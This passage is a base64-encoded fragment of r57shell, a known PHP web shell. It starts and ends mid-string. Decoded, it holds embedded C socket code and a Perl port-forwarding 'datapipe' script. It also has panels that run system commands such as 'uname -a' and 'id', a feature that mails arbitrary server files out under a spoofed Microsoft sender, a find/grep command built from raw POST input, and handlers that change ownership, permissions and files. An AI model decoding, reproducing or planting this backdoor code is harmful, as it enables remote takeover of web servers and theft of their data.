05DZzBLSUdkdmRITnZZMnM2RFFvZ0lHbG1JQ2dvYjNOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DaUENCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kNCjV6YVc1ZlptRnRhV3g1SUQwZ2FDMCthRjloWkdSeWRIbHdaVHNOQ2lBZ2IyRmtaSEl1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWh2Y0c5eWRDazdEUW9nSUcxbGJXTndlU2dtYjJGa1pISXVjMmx1WDJGa1oNCkhJc0lHZ3RQbWhmWVdSa2Npd2dhQzArYUY5c1pXNW5kR2dwT3cwS0lDQnBaaUFvWTI5dWJtVmpkQ2h2YzI5amF5d2dKbTloWkdSeUxDQnphWHBsYjJZb2IyRmtaSElwS1NrZ2V3MEtJQ0FnSUdad2NtbHUNCmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzANCktJQ0FnSUVaRVgxcEZVazhvSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjMlVwT3cwS0lDQWdJRVpFWDFORlZDaGpjMjlqYXl3bVptUnpjaWs3RFFvZ0lDQWdSa1JmVTBWVUtHTnpiMk5yTEMNClptWkhObEtUc05DaUFnSUNCR1JGOVRSVlFvYjNOdlkyc3NKbVprYzNJcE93MEtJQ0FnSUVaRVgxTkZWQ2h2YzI5amF5d21abVJ6WlNrN0RRb2dJQ0FnYVdZZ0tITmxiR1ZqZENneU1Dd2dKbVprYzNJc0kNCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3ANCk93MEtJQ0FnSUNBZ1oyOTBieUJ4ZFdsME1qc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tFWkVYMGxUVTBWVUtHTnpiMk5yTENabVpITnlLU0I4ZkNCR1JGOUpVMU5GVkNoamMyOWpheXdtWm1SelpTa3BJSHMNCk5DaUFnSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJSEpsWVdRb1kzTnZZMnNzWW5WbUxEUXdPVFlwS1NBOFBTQXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnSUNCcFppQW9LSGR5YVhSbEtHOXpiMk5yTEcNCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwNCkNabVpITmxLU2tnZXcwS0lDQWdJQ0FnYVdZZ0tDaHVZbmwwSUQwZ2NtVmhaQ2h2YzI5amF5eGlkV1lzTkRBNU5pa3BJRHc5SURBcERRb0paMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQWdJR2xtSUNnb2QzSnANCmRHVW9ZM052WTJzc1luVm1MRzVpZVhRcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ2ZRMEtJQ0I5RFFvTkNpQnhkV2wwTWpvTkNpQWdjMmgxZEdSdmQyNG9iM052WTJzc01pazdEUW8NCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0NCmxzWlNrN0RRb2dJSEpsZEhWeWJpQXdPdzBLZlE9PSI7DQokZGF0YXBpcGVfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ25WelpTQlFUMU5KV0RzTkNpUnNiMk5oYkhCdmNuUWdQU0FrUVZKSFZsc3dYVHNOQ2lSb2IzTjBJDQpDQWdJQ0FnUFNBa1FWSkhWbHN4WFRzTkNpUndiM0owSUNBZ0lDQWdQU0FrUVZKSFZsc3lYVHNOQ2lSa1lXVnRiMjQ5TVRzTkNpUkVTVklnUFNCMWJtUmxaanNOQ2lSOElEMGdNVHNOQ21sbUlDZ2taR0ZsDQpiVzl1S1hzZ0pIQnBaQ0E5SUdadmNtczdJR1Y0YVhRZ2FXWWdKSEJwWkRzZ1pHbGxJQ0lrSVNJZ2RXNXNaWE56SUdSbFptbHVaV1FvSkhCcFpDazdJRkJQVTBsWU9qcHpaWFJ6YVdRb0tTQnZjaUJrYVdVDQpnSWlRaElqc2dmUTBLSlc4Z1BTQW9KM0J2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjNSdmNHOXlkQ2NnUFQ0Z0pIQnZjblFzSjNSdmFHOXpkQ2NnUFQ0Z0pHaHZjM1FwT3cwS0pHRm9JRDBnU1U4Nk9sDQpOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkTWIyTmhiRkJ2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjFKbGRYTmxKeUE5UGlBeExDZE1hWE4wWlc0bklEMCtJREV3S1NCOGZDQmthV1VnSWlRaElqc05DDQppUlRTVWQ3SjBOSVRFUW5mU0E5SUNkSlIwNVBVa1VuT3cwS0pHNTFiU0E5SURBN0RRcDNhR2xzWlNBb01Ta2dleUFOQ2lSamFDQTlJQ1JoYUMwK1lXTmpaWEIwS0NrN0lHbG1JQ2doSkdOb0tTQjdJSEJ5DQphVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdJRzVsZUhRN0lIME5DaXNySkc1MWJUc05DaVJ3YVdRZ1BTQm1iM0pyS0NrN0RRcHBaaUFvSVdSbFptbHVaV1FvSkhCcFpDa3BJSHNnY0hKcGJuUWdVMVJFUlZKDQpTSUNJa0lWeHVJanNnZlNBTkNtVnNjMmxtSUNna2NHbGtJRDA5SURBcElIc2dKR0ZvTFQ1amJHOXpaU2dwT3lCU2RXNG9YQ1Z2TENBa1kyZ3NJQ1J1ZFcwcE95QjlJQTBLWld4elpTQjdJQ1JqYUMwK1kyDQp4dmMyVW9LVHNnZlEwS2ZRMEtjM1ZpSUZKMWJpQjdEUXB0ZVNna2J5d2dKR05vTENBa2JuVnRLU0E5SUVCZk93MEtiWGtnSkhSb0lEMGdTVTg2T2xOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkUVpXVnlRDQpXUmtjaWNnUFQ0Z0pHOHRQbnNuZEc5b2IzTjBKMzBzSjFCbFpYSlFiM0owSnlBOVBpQWtieTArZXlkMGIzQnZjblFuZlNrN0RRcHBaaUFvSVNSMGFDa2dleUJsZUdsMElEQTdJSDBOQ20xNUlDUm1hRHNODQpDbWxtSUNna2J5MCtleWRrYVhJbmZTa2dleUFrWm1nZ1BTQlRlVzFpYjJ3Nk9tZGxibk41YlNncE95QnZjR1Z1S0NSbWFDd2dJajRrYnkwK2V5ZGthWEluZlM5MGRXNXVaV3drYm5WdExteHZaeUlwSUc5DQp5SUdScFpTQWlKQ0VpT3lCOURRb2tZMmd0UG1GMWRHOW1iSFZ6YUNncE93MEtKSFJvTFQ1aGRYUnZabXgxYzJnb0tUc05DbmRvYVd4bElDZ2tZMmdnZkh3Z0pIUm9LU0I3RFFwdGVTQWtjbWx1SUQwZ0lpDQpJN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUmphQ2tzSURFcElEMGdNU0JwWmlBa1kyZzdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1IwYUNrc0lERXBJRDBnTVNCcFppQWtkR2c3RFFwdGVTZ2tjDQptOTFkQ3dnSkdWdmRYUXBPdzBLYzJWc1pXTjBLQ1J5YjNWMElEMGdKSEpwYml3Z2RXNWtaV1lzSUNSbGIzVjBJRDBnSkhKcGJpd2dNVEl3S1RzTkNtbG1JQ2doSkhKdmRYUWdJQ1ltSUNBaEpHVnZkWFFwDQpJSHQ5RFFwdGVTQWtZMkoxWm1abGNpQTlJQ0lpT3cwS2JYa2dKSFJpZFdabVpYSWdQU0FpSWpzTkNtbG1JQ2drWTJnZ0ppWWdLSFpsWXlna1pXOTFkQ3dnWm1sc1pXNXZLQ1JqYUNrc0lERXBJSHg4SUhaDQpsWXlna2NtOTFkQ3dnWm1sc1pXNXZLQ1JqYUNrc0lERXBLU2tnZXcwS2JYa2dKSEpsYzNWc2RDQTlJSE41YzNKbFlXUW9KR05vTENBa2RHSjFabVpsY2l3Z01UQXlOQ2s3RFFwcFppQW9JV1JsWm1sdVpXDQpRb0pISmxjM1ZzZENrcElIc05DbkJ5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3RFFwbGVHbDBJREE3RFFwOURRcHBaaUFvSkhKbGMzVnNkQ0E5UFNBd0tTQjdJR1Y0YVhRZ01Ec2dmUTBLZlEwS2FXWWdLDQpDUjBhQ0FnSmlZZ0lDaDJaV01vSkdWdmRYUXNJR1pwYkdWdWJ5Z2tkR2dwTENBeEtTQWdmSHdnZG1WaktDUnliM1YwTENCbWFXeGxibThvSkhSb0tTd2dNU2twS1NCN0RRcHRlU0FrY21WemRXeDBJRDBnDQpjM2x6Y21WaFpDZ2tkR2dzSUNSalluVm1abVZ5TENBeE1ESTBLVHNOQ21sbUlDZ2haR1ZtYVc1bFpDZ2tjbVZ6ZFd4MEtTa2dleUJ3Y21sdWRDQlRWRVJGVWxJZ0lpUWhYRzRpT3lCbGVHbDBJREE3SUgwDQpOQ21sbUlDZ2tjbVZ6ZFd4MElEMDlJREFwSUh0bGVHbDBJREE3ZlEwS2ZRMEthV1lnS0NSbWFDQWdKaVlnSUNSMFluVm1abVZ5S1NCN0tIQnlhVzUwSUNSbWFDQWtkR0oxWm1abGNpazdmUTBLZDJocGJHDQpVZ0tHMTVJQ1JzWlc0Z1BTQnNaVzVuZEdnb0pIUmlkV1ptWlhJcEtTQjdEUXB0ZVNBa2NtVnpJRDBnYzNsemQzSnBkR1VvSkhSb0xDQWtkR0oxWm1abGNpd2dKR3hsYmlrN0RRcHBaaUFvSkhKbGN5QStJDQpEQXBJSHNrZEdKMVptWmxjaUE5SUhOMVluTjBjaWdrZEdKMVptWmxjaXdnSkhKbGN5azdmU0FOQ21Wc2MyVWdlM0J5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3ZlEwS2ZRMEtkMmhwYkdVZ0tHMTVJQ1JzDQpaVzRnUFNCc1pXNW5kR2dvSkdOaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KR05vTENBa1kySjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0lEQXBJSHNrWTJKDQoxWm1abGNpQTlJSE4xWW5OMGNpZ2tZMkoxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlgxOURRbz0iOw0KaWYoJHVuaXgpDQogew0KIGlmKCFpc3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tpZSgndW5hbWUnLCR1bmFtZSk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9DQogaWYoIWlzc2V0KCRfQ09PS0lFWydpZCddKSkgeyAkaWQgPSBleCgnaWQnKTsgc2V0Y29va2llKCdpZCcsJGlkKTsgfSBlbHNlIHsgJGlkID0gJF9DT09LSUVbJ2lkJ107IH0NCiBpZigkc2FmZV9tb2RlKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiBlbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnXTsgfQ0KIGVsc2UgIA0KICB7CQ0KICAgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2Vybi5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuZWwub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuZWwub3NyZWxlYXNlJyk7IH0NCiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiAgIHNldGNvb2tpZSgnc3lzY3RsJywkc3lzY3RsKTsNCiAgfSAgDQogfQ0KZWNobyAkaGVhZDsNCmVjaG8gJzwvaGVhZD4nOyANCmVjaG8gJzxib2R5Pjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2Mgd2lkdGg9MTYwPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTI+Jy53cygyKS4nPGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGI+Jy53cygyKS4ncjU3c2hlbGwgJy4kdmVyc2lvbi4nPC9iPjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+JzsNCmVjaG8gd3MoMikuIjxiPiIuZGF0ZSAoImQtbS1ZIEg6aTpzIikuIjwvYj4iOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmZvIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDYnXS4iXCI+PGI+cGhwaW5mbzwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmkgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7DQppZigkdW5peCkgDQogeyANCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2NwdSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUwJ10uIlwiPjxiPmNwdTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2VycyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIlwiPjxiPnVzZXJzPC9iPjwvYT4gIi4kcmI7IA0KIH0NCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDgnXS4iXCI+PGI+dG1wPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RlbGV0ZSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ5J10uIlwiPjxiPmRlbGV0ZTwvYj48L2E+ICIuJHJiLiI8YnI+IjsNCmVjaG8gd3MoMikuInNhZmVfbW9kZTogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIlBIUCB2ZXJzaW9uOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4iOw0KJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsNCmVjaG8gd3MoMik7DQplY2hvICJjVVJMOiA8Yj4iLigoJGN1cmxfb24pPygiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+Iik6KCI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTXlTUUw6IDxiPiI7DQokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQppZigkbXlzcWxfb24pew0KZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOyB9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk1TU1FMOiA8Yj4iOw0KJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIlBvc3RncmVTUUw6IDxiPiI7DQokcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+PGJyPiIud3MoMik7DQplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7DQppZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+Ijt9DQokZnJlZSA9IEBkaXNrZnJlZXNwYWNlKCRkaXIpOw0KaWYgKCEkZnJlZSkgeyRmcmVlID0gMDt9DQokYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJGRpcik7DQppZiAoISRhbGwpIHskYWxsID0gMDt9DQplY2hvICI8YnI+Ii53cygyKS4iRnJlZSBzcGFjZSA6IDxiPiIudmlld19zaXplKCRmcmVlKS4iPC9iPiBUb3RhbCBzcGFjZTogPGI+Ii52aWV3X3NpemUoJGFsbCkuIjwvYj4iOw0KZWNobyAnPC9mb250PjwvdGQ+PC90cj48dGFibGU+DQo8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPg0KPHRyPjx0ZCBhbGlnbj1yaWdodCB3aWR0aD0xMDA+JzsNCmVjaG8gJGZvbnQ7DQppZigkdW5peCl7DQplY2hvICc8Zm9udCBjb2xvcj1ibHVlPjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPmlkIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAiPC90ZD48dGQ+IjsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iOw0KZWNobygoIWVtcHR5KCR1bmFtZSkpPyh3cygzKS5Ac3Vic3RyKCR1bmFtZSwwLDEyMCkuIjxicj4iKTood3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IikpOw0KZWNobyB3cygzKS4kc3lzY3RsLiI8YnI+IjsNCmVjaG8gd3MoMykuZXgoJ2VjaG8gJE9TVFlQRScpLiI8YnI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7DQppZighZW1wdHkoJGlkKSkgeyBlY2hvIHdzKDMpLiRpZC4iPGJyPiI7IH0NCmVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRldWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkNCiB7DQogJGV1c2VyaW5mbyAgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7DQogJGVncm91cGluZm8gPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4X2dldGVnaWQoKSk7DQogZWNobyB3cygzKS4ndWlkPScuJGV1c2VyaW5mb1sndWlkJ10uJyAoICcuJGV1c2VyaW5mb1snbmFtZSddLicgKSBnaWQ9Jy4kZWdyb3VwaW5mb1snZ2lkJ10uJyAoICcuJGVncm91cGluZm9bJ25hbWUnXS4nICk8YnI+JzsJDQogfQ0KZWxzZSBlY2hvIHdzKDMpLiJ1c2VyPSIuQGdldF9jdXJyZW50X3VzZXIoKS4iIHVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkuIjxicj4iOw0KZWNobyB3cygzKS4kZGlyOw0KZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7DQplY2hvICI8L2I+PC9mb250PiI7DQp9DQplbHNlDQp7DQplY2hvICc8Zm9udCBjb2xvcj1ibHVlPjxiPk9TIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEpLic8YnI+VXNlciA6Jy53cygxKS4nPGJyPnB3ZCA6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsNCmVjaG8gIjwvdGQ+PHRkPiI7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBnZXRlbnYoIlVTRVJOQU1FIikuIjxicj4iOw0KZWNobyB3cygzKS4kZGlyOw0KZWNobyAiPGJyPjwvZm9udD4iOw0KfQ0KZWNobyAiPC9mb250PiI7DQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsIikNCiB7DQogJHJlcyA9IG1haWwoJF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLCJGcm9tOiAiLiRfUE9TVFsnZnJvbSddLiJcclxuIik7CQ0KIGVycig2KyRyZXMpOw0KICRfUE9TVFsnY21kJ109IiI7ICANCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQogeyAgDQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2xvY19maWxlJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2xvY19maWxlJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogZWxzZSANCiAgewkNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydsb2NfZmlsZSddKTsNCiAgICAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnbG9jX2ZpbGUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgJGF0dGFjaCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAibmFtZSI9PiRmaWxlbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgInR5cGUiPT4kbWltZV90eXBlLA0KICAgICAgICAgICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcA0KICAgICAgICAgICAgICAgICAgICk7DQogICAgaWYoZW1wdHkoJF9QT1NUWydzdWJqJ10pKSB7ICRfUE9TVFsnc3ViaiddID0gJ2ZpbGUgZnJvbSByNTdzaGVsbCc7IH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7IH0NCiAgICAkcmVzID0gbWFpbGF0dGFjaCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydmcm9tJ10sJF9QT1NUWydzdWJqJ10sJGF0dGFjaCk7DQogICAgZXJyKDYrJHJlcyk7DQogICAgJF9QT1NUWydjbWQnXT0iIjsgICAgICAgICAgICAgICAgICAgCQ0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gImZpbmRfdGV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImNoXyIpDQogew0KIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgIGNhc2UgJ293bic6DQogICBAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOw0KICAgYnJlYWs7DQogICBjYXNlICdtb2QnOg0KICAgQGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50dmFsKCRfUE9TVFsncGFyYW0yJ10sIDgpKTsNCiAgIGJyZWFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQogew0KICAgc3dpdGNoKCRfUE9TVFsnd2hhdCddKQ0KICAgew0KICAgICBjYXNlICdmaWxlJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpDQogICAgICAgew0KICAgICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3IikpIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAgICAgZWxzZSB7DQogICAgICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgICRfUE9TVFsnZV9uYW1lJ10gPSAkX1BPU1RbJ21rX25hbWUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgIH0